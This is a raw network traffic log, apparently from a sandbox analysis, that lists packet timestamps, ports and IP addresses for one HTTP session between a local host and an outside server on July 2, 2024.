Jul 2, 2024 04:12:15.105873108 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.105899096 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.105951071 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.105978966 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106070995 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106086016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106128931 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106128931 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106142044 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106153965 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106159925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106183052 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106193066 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106199026 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106206894 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106211901 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106236935 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106240988 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106249094 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106256008 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106264114 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106276035 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106281996 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106296062 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106306076 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106311083 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106324911 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106329918 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106339931 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106352091 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106353045 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106379032 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106404066 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106431007 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106441021 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106453896 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106463909 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106472015 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106479883 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106482983 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106493950 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106506109 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106509924 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106518030 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106523991 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106543064 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106549025 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106563091 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106565952 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106576920 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106587887 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106601954 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106604099 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106612921 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106616974 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106635094 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106657028 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106658936 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106671095 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106687069 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106695890 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106720924 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106723070 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106734037 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106739998 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106765985 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106775045 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106779099 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106807947 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106821060 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106822968 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106884003 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106894016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106910944 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106918097 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106941938 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.106964111 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106978893 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.106992006 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107007980 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107012987 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107022047 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107024908 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107053041 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107108116 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107121944 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107139111 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107142925 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107156992 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107166052 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107182026 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107192039 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107223034 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107233047 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107249975 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107255936 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107260942 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107271910 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107281923 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107302904 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107306957 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107317924 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107336044 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107336044 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107350111 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107351065 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107367992 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107367992 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107383013 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107402086 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107429028 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107439995 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107458115 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107464075 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107467890 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107475996 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107486963 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107496023 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107496977 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107507944 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107515097 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107523918 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107530117 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107539892 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107553959 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107569933 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107856989 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107867956 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107887030 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107901096 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107923985 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.107947111 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107958078 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.107992887 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.108136892 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.108148098 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.108171940 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.108181953 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.108185053 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.108202934 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.108202934 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.108216047 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.108226061 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.108237982 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.108242989 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.108257055 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.108258009 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.108273029 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.108289003 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.108342886 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.108376980 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.126760006 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126785040 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126800060 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126808882 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.126811028 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126822948 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.126830101 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126840115 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126858950 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.126862049 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126873970 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126884937 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.126885891 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126899958 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.126902103 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126915932 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126925945 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.126929045 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126945019 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126952887 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.126955986 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.126966000 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.126993895 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.175242901 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175266027 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175273895 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175303936 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.175321102 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.175395966 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175405025 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175426960 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175435066 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.175451994 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175452948 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.175465107 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175474882 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175492048 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175498962 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.175501108 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175509930 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.175517082 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175529957 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175530910 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.175543070 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.175545931 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.175565004 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.175587893 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.196851015 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.196901083 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.196923971 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.196933985 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.196953058 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.196959972 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.196964025 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.196976900 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.196981907 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197000980 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197001934 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197017908 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197032928 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197035074 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197058916 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197060108 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197072983 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197082996 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197088003 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197105885 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197125912 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197261095 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197271109 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197288036 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197293997 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197307110 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197309017 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197324038 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197324991 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197330952 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197336912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197341919 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197348118 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197352886 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197365999 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197386026 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197396040 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197405100 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197426081 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197426081 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197436094 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197439909 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197453022 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197463989 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197468996 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197482109 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197484970 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197505951 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197506905 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197516918 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197521925 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197540998 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197540998 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197552919 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197570086 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197587013 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197592020 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197604895 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197607040 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197622061 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197624922 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197643042 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197659016 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197693110 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197702885 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197722912 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197727919 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197740078 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197741985 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197757006 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197772980 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197848082 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197870016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197891951 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197895050 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197901011 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197907925 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197926044 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197927952 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197937965 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197941065 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197954893 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197962046 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197971106 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.197976112 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197993040 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.197993040 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198004007 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198008060 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198019981 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198020935 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198038101 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198043108 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198050976 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198051929 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198069096 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198071003 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198086977 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198091030 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198095083 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198106050 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198118925 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198127031 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198134899 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198137045 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198153973 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198156118 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198169947 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198185921 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198195934 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198199034 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198214054 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198225975 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198230028 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198244095 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198244095 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198256016 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198261023 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198276997 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198280096 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198287964 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198298931 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198312998 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198316097 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198328972 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198328972 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198345900 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198348045 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198363066 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198365927 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198380947 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198384047 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198399067 CEST	80	49705	77.91.77.81	192.168.2.5
Jul 2, 2024 04:12:15.198402882 CEST	49705	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:12:15.198415041 CEST	49705	80	192.168.2.5	77.91.77.81
